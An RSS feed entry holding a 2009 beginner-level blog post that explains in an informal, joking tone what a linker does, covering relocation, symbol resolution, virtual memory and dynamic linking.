		<category><![CDATA[funny]]></category>
		<category><![CDATA[kernel stuff]]></category>
		<category><![CDATA[linker]]></category>
		<category><![CDATA[long]]></category>
		<category><![CDATA[low level]]></category>
		<category><![CDATA[not so magic]]></category>
		<category><![CDATA[why]]></category>

		<guid isPermaLink="false">http://thecoffeedesk.com/news/?p=502</guid>
		<description><![CDATA[Beginning programmers ask this all of the time, and in my circles I&#8217;m usually the one to answer this although I&#8217;m met with blank faces in response. It became more apparent that we need a good, solid article explaining exactly what a linker does when I saw a whole section on Wikipedia about the &#8220;debate&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Beginning programmers ask this all of the time, and in my circles I&#8217;m usually the one to answer this although I&#8217;m met with blank faces in response. It became more apparent that we need a good, solid article explaining exactly what a linker does when I saw a whole section on Wikipedia about the &#8220;debate&#8221; regarding whether or not we even need linkers. </p>
<p>If you are one of the growing community of people wondering what a linker is and why we need them, or just a curious user, then read on &#8211; this is for you.<br />
<span id="more-502"></span></p>
<p><strong>The Basics</strong></p>
<p>For both the casual reader and those whom may not have a grasp on the entire code-to-binary process, here&#8217;s one of my famous Giant-Colorized-And-Layered-Diagrams &#8482; providing an overview:</p>
<div class="wp-caption alignnone" style="width: 510px"><a href="http://img33.imageshack.us/img33/4763/75922585.png"><img alt="An overview of the compilation process" src="http://img33.imageshack.us/img33/4763/75922585.png" title="Compilation Process" width="500" height="500" /></a><p class="wp-caption-text">An overview of the compilation process</p></div>
<p>Jokes aside, that&#8217;s the entire process. The compiler first runs your code through the preprocessor (cpp) to expand macros and preprocessor definitions, then parses it based on the compiler&#8217;s language-specific lexer output. All the compiler does after parsing your code is generate machine code (machine-interpretable assembly language) based on the code found, then optionally optimize it. </p>
<p>(for the curious, most compiler errors occur during the parsing phase &#8211; i.e. a forgotten semicolon, etc.)</p>
<p><strong>Where The Linker Comes In</strong></p>
<p>What many don&#8217;t realize is that this is all the compiler does. The machine code generated by the compiler is in separate .o files named after the input files, each still using symbols instead of precise memory locations for things like variables and function names. </p>
<p>This is far from being executable, but this is also where the linker comes in. </p>
<p>The linker, called directly by the compiler after its done its job in most cases, first goes through a process called &#8220;relocation&#8221; according to the above diagram. This involves putting the machine code from the files in order according to how they were presented to the linker by the compiler. </p>
<p>This &#8220;order&#8221; is the basis for the executable format, e.g. ELF or COFF/EXE. The operating system needs a standard executable format so it knows where to find the stack section, data section, and code section of the resulting executable so it can be loaded and executed properly. </p>
<p>During the arrangement of the resulting executable(s), the linker is performing symbol resolution. This is the process of replacing a variable/function name with an exact memory address, so the program can find stuff in memory. After this is complete (and without errors), the resulting executable(s) and libraries are ready for distribution or execution. </p>
<p><strong>Virtual Memory and the Linker</strong></p>
<p>But wait, how does the linker assign an exact address to a variable without knowing whether or not that memory is already in use by the operating system at runtime? </p>
<p>It&#8217;s simple: magic. </p>
<p>&#8230;By magic, I mean the operating system &#8220;fools&#8221; the process/application into thinking it starts at a particular memory location, when in reality it doesn&#8217;t. This OS-specific starting address is also used by the linker during linking time as the organizational basis of the application. </p>
<p>Here&#8217;s the thing: just because the application (thanks to the linker) thinks it starts at memory location 0&#215;0000ffff doesn&#8217;t mean it&#8217;s at that location in physical memory. The process sees it that way, but the operating system alone knows that this application is one of many pretending to be using this base address. </p>
<p>The OS kernel maps the application&#8217;s virtual memory (i.e. the fake base address and onwards) into physical memory via it&#8217;s internal memory management, and therefore every application is given the impression that it has all 4 gigabytes of memory to itself when really the OS kernel&#8217;s memory manager knows all along that the real address is somewhere in either physical RAM or paged out to the hard disk to conserve precious physical memory. </p>
<p>Still with me here? In a nutshell, the kernel simply makes the app believe it has the same starting address every time. </p>
<p>This is in contrast to older systems, where a runtime linker would map symbols to physical memory every time a program was executed to prevent overlapping. If this sounds slow and cumbersome, it indeed was. </p>
<p>Virtual memory is the preferred method for both linking consistency between applications, as well as better memory management. But a runtime linker still has it&#8217;s place, however:</p>
<p><strong>Dynamic Linking</strong></p>
<p>Ah, now it really gets fun. Sometimes, an application likes to put functions (or even static variables) into separate files, and execute them at runtime &#8211; even after the application has started executing! </p>
<p>This is called dynamic linking, represented by the D-Link sublayer in the above diagram. This is the process of an application loading a precompiled binary executable/library into it&#8217;s memory address space (the fake one, remember?) and resolving existing symbols to the newly loaded memory addresses. </p>
<p>If you understood the rest of the process earlier, it&#8217;s not much different in what happens next, only the application is already loaded and executing whenever it does this (in fact, the primary binary&#8217;s code is what loads up the file in the first place &#8211; the linker put this code in there so it could finish the job later during runtime). </p>
<p>In fact, most operating systems/C compilers and libraries do this these days to save code space: instead of every single application containing the code for printf() within it&#8217;s on-disk executable, this code resies in a separate shared library file with the application containing the minimal linker code to load it at runtime. </p>
<p>Most compiler/linkers (such as MSVC and GCC) do this transparently, only turning this feature off if told to statically link. Dynamic linking is done to save disk space, thanks to consolidating the shared code into one nonvolatile location and to ease bugfixes/updates to said code in the future rather than updating each individual application. </p>
<p>So while a linker may not seem necessary to some programmers, an understanding of virtual memory and shared libraries is key in order to grasp the concept of a linker. Without it, nothing in an executable could either load into or reference memory locations, and the application would just be a bunch of format-less object files (.o). </p>
<p>OS kernels have linkers too, but this is more complex since they reference their own kernel memory address space and execute code directly within it (possibly crashing the whole system in the process). The internal OS linker is for loading and executing device drivers, which are very loosely formatted libraries with specially exported symbols for execution. </p>
<p>So I hope this article clears the air about why we need linkers. I would think that modern computer science professors would explain this, but instead this topic is apparently more reserved for operating system classes focused on memory management, leaving the computer science students baffled by this &#8220;magic&#8221;. </p>
<p>Applied to South Park terminology: </p>
<ol>
<li>Write code</li>
<li>Compile it</li>
<li>????</li>
<li>Profit! </li>
</ol>
<p>But there is no magic. Just a logical process of allowing applications to execute in an organized address space. But some still consider this magic none the less&#8230;</p>
<p><a href="http://thecoffeedesk.com/news/index.php/2009/06/01/how-linker-works/" rel="bookmark">What Is A Linker And Why Do We Need It?</a> originally appeared on <a href="http://thecoffeedesk.com/news">The Coffee Desk</a> on June 1, 2009.</p>
]]></content:encoded>
			<wfw:commentRss>http://thecoffeedesk.com/news/index.php/2009/06/01/how-linker-works/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  thecoffeedesk.com/news/index.php/category/programming/feed/ ) in 0.57741 seconds, on Jul 31st, 2010 at 4:28 am UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on Jul 31st, 2010 at 5:28 am UTC -->